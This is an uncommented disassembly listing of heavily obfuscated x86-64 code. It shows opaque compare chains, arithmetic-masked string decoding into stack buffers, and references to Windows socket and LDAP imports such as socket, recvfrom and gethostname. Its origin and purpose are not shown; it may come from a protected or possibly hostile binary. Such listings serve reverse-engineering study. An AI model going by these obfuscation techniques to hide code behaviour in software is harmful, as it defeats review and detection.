lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x1401fcdd9
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x1401fcdb6
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x1401fcda2
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x1401fcd81
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x1401fcd6d
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x1401fcd4b
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x1401fcd2a
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1401fcb24
lea rdi, [r10 + 0x1000]
lea r10, [rdi + 0x400]
jmp 0x1401fcb24
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fcb17
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x66
add bl, dl
jmp 0x1401fcabd
movabs rdx, 0xf018c93478267ab6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fca4c
movabs rdx, 0x3079ddf1a6964910
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x1401fd3ef
movabs rcx, 0x3c16e471d25172dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x1401fd436
movabs rdx, 0x47b3eaf1fe0c9ca8
mov ecx, 0x34
jmp 0x1401fd19d
movabs rdx, 0x5350f17229c7c674
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x2c
jmp 0x1401fd0f0
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401fd499
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x54
jmp 0x1401fd4ae
movabs rdx, 0x762804f2acf943d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fd4e3
movabs rcx, 0x81c50b72d8b46da4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x1401fd515
movabs rcx, 0x8d6211f3046f9770
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x10
jmp 0x1401fd569
movabs rcx, 0xb607a8b39d7ea9ba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x16
cmp r10, 0x41
jb 0x1401fd309
movabs rcx, 0xafb7b47749b6ac5c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx*2 - 8]
jmp 0x1401fd3f1
movabs rdx, 0xc1a4af33c939d386
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, 3
jae 0x1401fd316
lea rcx, [r10 + 2]
cmp rdi, rcx
jbe 0x1401fd23b
movabs rdx, 0x23d9f578ff064e54
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4c
add bl, dl
jmp 0x1401fce61
movabs rcx, 0xcd41b5b3f4f4fd52
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3e
lea rax, [r10 + rdi]
cmp rax, 0x5a
je 0x1401fd344
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x1401fd156
movabs rcx, 0x9dcab9baca338532
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
jmp 0x1401fceb1
movabs rdx, 0x245b66753cf0b6cc
mov ecx, gethostname
jmp 0x1401fd086
movabs rdx, 0x2ff86cf568abe098
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x28
jmp 0x1401fd38a
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x1401fd0b1
movabs rcx, 0x473279f5c0223430
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x50
jmp 0x1401fd4ae
movabs rdx, 0x52cf8075ebdd5dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x1401fd499
movabs rcx, 0x5e6c86f6179887c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x1401fd45e
movabs rcx, 0x6a098d764353b194
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x1401fd439
movabs rdx, 0x75a693f66f0edb60
mov ecx, Ordinal_50
jmp 0x1401fd13f
movabs rdx, 0x81439a769aca052c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x34
jmp 0x1401fd3ef
lea rcx, [r10 + 2]
cmp rdi, rcx
jae 0x1401fd06e
movabs rdx, 0xfa317cbfea226b1a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fcf08
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401fd09d
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fd569
cmp rdi, rcx
jne 0x1401fd0c8
movabs rdx, 0xf4e46a7c122f3eac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fd4e3
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401fd0f7
movabs rdx, 0xd20d56fb8efdc148
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fd45e
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401fd123
movabs rcx, 0xc670507b6342977c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x64
jmp 0x1401fd439
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401fcf08
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_27
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fd436
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401fd185
movabs rdx, 0x922db33a9e785b66
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fd3f1
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401fd1b4
movabs rdx, 0x7af3a63a470207ce
mov ecx, Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fd439
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401fd1e0
movabs rcx, 0x63b99939ef8bb436
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7a
jmp 0x1401fd4ab
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401fd20b
movabs rcx, 0x4c7f8c399815609e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x52
jmp 0x1401fd4e3
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401fceb1
movabs rcx, 0x35457f39409f0d06
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x2a
jmp 0x1401fd569
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401fd258
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x1401fd086
cmp rdi, rcx
jne 0x1401fd27f
movabs rcx, 0xc9fe878a78ffabc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x1401fd515
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401fd2ab
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x1401fd4ab
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401fd2da
movabs rdx, 0xc6f1c177a12cfff4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fd436
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401fce61
movabs rcx, 0xbb54baf77571d628
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x1401fd3f1
mov byte [rbp + r9 + 0xe50], bl
jmp 0x1401fd578
movabs rdx, 0xa41aadf71dfb8290
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0xe50]
add bl, dl
add bl, r8b
jmp 0x1401fd45e
movabs rcx, 0x987da776f24058c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0xe50]
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x1401fd4e3
movabs rdx, 0x292707bcd6f97ac2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x1401fd515
movabs rcx, 0x406114bd2e6fce5a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x76
jmp 0x1401fd4ae
movabs rcx, 0x6338283db1a14bbe
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x32
jmp 0x1401fd439
movabs rdx, 0x7a72353e09179f56
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5a
add bl, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x3a
add r8b, cl
mov byte [rbp + r9 + 0xe50], r8b
jmp 0x1401fd436
movabs rcx, 0x9d4948be8c491cba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x16
add r10, r15
sub r9, r15
jmp 0x1401fd578
movabs rcx, 0xb48355bee3bf7052
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3e
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, bl
mov byte [rbp + r9 + 0xe50], cl
jmp 0x1401fd4ab
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
add rdi, r10
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x1401fd578
mov r8, r11
movabs rdx, 0xd75a693f66f0edb6
add rdx, r9
mov al, dl
and al, r11b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movabs rdx, 0x92af2436dc62c3de
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x12
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xe50], al
add r10, r15
add rax, r10
sub r9, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xe50], cl
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x1401fd569
movabs rcx, 0xee94763fbe67414e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea ebx, [rcx + r11]
sub bl, 0x22
movzx eax, byte [rbp + r9 + 0xe50]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401fca39
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fca36
movabs rcx, 0x752d634cf9cce4e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x22
jmp 0x1401fca26
lea rdx, [rbp + 0x16003c8]
jmp 0x1401fd5e2
lea rdx, [rbp + 0x1026ee2]
jmp 0x1401fd5e2
lea rdx, [rbp + 0xe50]
lea rcx, [rbp + 0x178]
call fcn.14009e330
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2960]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401fd617
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x2960]
call fcn.140174580
nop
lea rcx, [rbp + 0x2960]
call fcn.14024e690
nop
lea rcx, [rbp + 0x2960]
call fcn.1400a2eb0
nop
mov rcx, rbx
call fcn.1400aa310
mov byte [rbp + 0x550], Ordinal_60
mov byte [rbp + 0x551], Ordinal_143
mov byte [rbp + 0x552], 0x61
mov byte [rbp + 0x553], 0xf3
mov byte [rbp + 0x554], 0x5a
mov byte [rbp + 0x555], 0xf1
mov byte [rbp + 0x556], 0x62
mov byte [rbp + 0x557], 0xf7
mov byte [rbp + 0x558], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x559], 0xf5
mov byte [rbp + 0x55a], 0x5b
mov byte [rbp + 0x55b], 0xfb
mov byte [rbp + 0x55c], WSASetLastError
mov byte [rbp + 0x55d], 0xf9
mov byte [rbp + 0x55e], 0x5b
mov byte [rbp + 0x55f], 0xff
mov byte [rbp + 0x560], r14b
mov byte [rbp + 0x561], 0xfd
mov byte [rbp + 0x562], 0x59
mov byte [rbp + 0x563], 0xe3
mov byte [rbp + 0x564], Ordinal_79
mov byte [rbp + 0x565], 0xe1
mov byte [rbp + 0x566], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x567], 0xe7
mov byte [rbp + 0x568], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x569], 0xe5
mov byte [rbp + 0x56a], 0x7f
mov byte [rbp + 0x56b], 0xeb
mov byte [rbp + 0x56c], 0x7a
mov byte [rbp + 0x56d], 0xe9
mov byte [rbp + 0x56e], Ordinal_79
mov byte [rbp + 0x56f], 0xef
mov byte [rbp + 0x570], 0x7a
mov byte [rbp + 0x571], 0xed
mov byte [rbp + 0x572], 0x88
mov byte [rbp + 0x573], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x574], 0x84
mov byte [rbp + 0x575], Ordinal_211
mov byte [rbp + 0x576], Ordinal_217
mov byte [rbp + 0x577], Ordinal_217
xor eax, eax
mov qword [rbp + 0x578], rax
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x30
jae 0x1401fe34b
movzx r8d, byte [rbp + r9 + 0x550]
mov rdx, r8
cmp rdi, r9
ja 0x1401fe342
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401fd7d4
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x4e
jmp 0x1401fd818
je 0x1401fe2c1
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401fe23a
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401fe20e
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401fe1c3
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401fe173
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x1401fe339
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x1401fd84d
movabs rdx, 0x918829b2f7c05816
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fd88e
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401fe152
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401fe12f
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401fe109
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401fe0e3
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401fe0c1
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401fde2b
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401fde0a
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401fdde4
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x1401fddc1
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x1401fdda0
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x1401fdd7e
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401fdd5c
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401fdd48
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x1401fdd26
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x1401fdd00
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1401fd89b
lea rdi, [r10 + 5]
lea r10, [rdi + 0x20]
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x1401fe316
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x1401fe2f3
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x1401fda9c
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x1401fda79
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1401fda53
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x1401fdca4
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x1401fdc4a
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x1401fdbfb
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x1401fdbd0
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x1401fd89b
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1401fdbbc
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x1401fdb9a
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1401fdb78
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x1401fdb52
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x1401fdb30
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x1401fdb1c
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x1401fdaf9
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x1401fdad6
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x1401fdac2
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x1401fd89b
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 3]
jmp 0x1401fd89b
movabs rdx, 0xcf7914021ebc2eaa
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fd88e
movabs rdx, 0x84a9100974daa02e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x42
add bl, dl
jmp 0x1401fd818
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fd79c
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
jmp 0x1401fe15f
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x1401fe1b8
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x1401fe1bb
movabs rdx, 0xabd141adc05e153c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x1401fddaf
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r14b
jmp 0x1401fe209
movabs rdx, 0x163139bc6c9af844
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fe229
movabs rcx, 0xcb6135c3c2b969c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x1401fe25b
movabs rcx, 0x809131cb18d7db4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x1401fe28d
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x1401fdf9a
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x36
mov byte [rbp + r9 + 0x550], bl
jmp 0x1401fe2eb
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp r10, 9
jb 0x1401fdbee
movabs rcx, 0xe770ca89d7ef62b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x1401fe190
movabs rdx, 0x65191bf3727f4ba2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6e
add bl, dl
cmp rdi, 0x1000
jae 0x1401fe068
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x1401fdfb1
movabs rcx, 0xfb50a2d3351fd1dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x1401fdc1c
movabs rcx, 0x1a4917fac89dbd26
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
lea rax, [r10 + rdi]
cmp rax, 0x80
je 0x1401fe093
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x1401fdef6
movabs rcx, 0x69c879203d5f79c6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6a
jmp 0x1401fdc68
movabs rdx, 0x6930fa31ce821084
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fe2dc
movabs rcx, 0x1e60f63924a08208
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x1401fe28d
movabs rdx, 0xd390f2407abef38c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1401fde92
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x1401fe229
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x1401fe209
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_45
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401fe089
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x1401fe1bb
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fe1b8
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x1401fe16f
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x1401fde51
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fdcc1
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401fde7d
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x1401fe2dc
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401fdea9
movabs rdx, 0xb8b05b574343cd24
mov ecx, esi
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fe25b
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401fded5
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x1401fe229
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401fdcc1
movabs rdx, 0x4e5063489706ea1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x1401fe118
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401fdf25
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_27
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fe190
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401fdf51
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x1401fe1b8
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401fdf7e
movabs rdx, 0x95088902e4e5b3b6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401fe1df
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x1401fdc68
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fe2dc
jne 0x1401fdfd6
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x1401fe2dc
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401fe000
movabs rdx, 0xdbc0aebd32c47d50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x1401fdea2
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401fe01d
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x1401fe0f2
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401fe047
movabs rdx, 0xbc30baa7306928c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5c
jmp 0x1401fe1df
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x1401fdc1c
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x1401fdf0e
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x550]
sub bl, al
sub bl, 0x50
add bl, dl
add bl, r8b
jmp 0x1401fe1e1
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
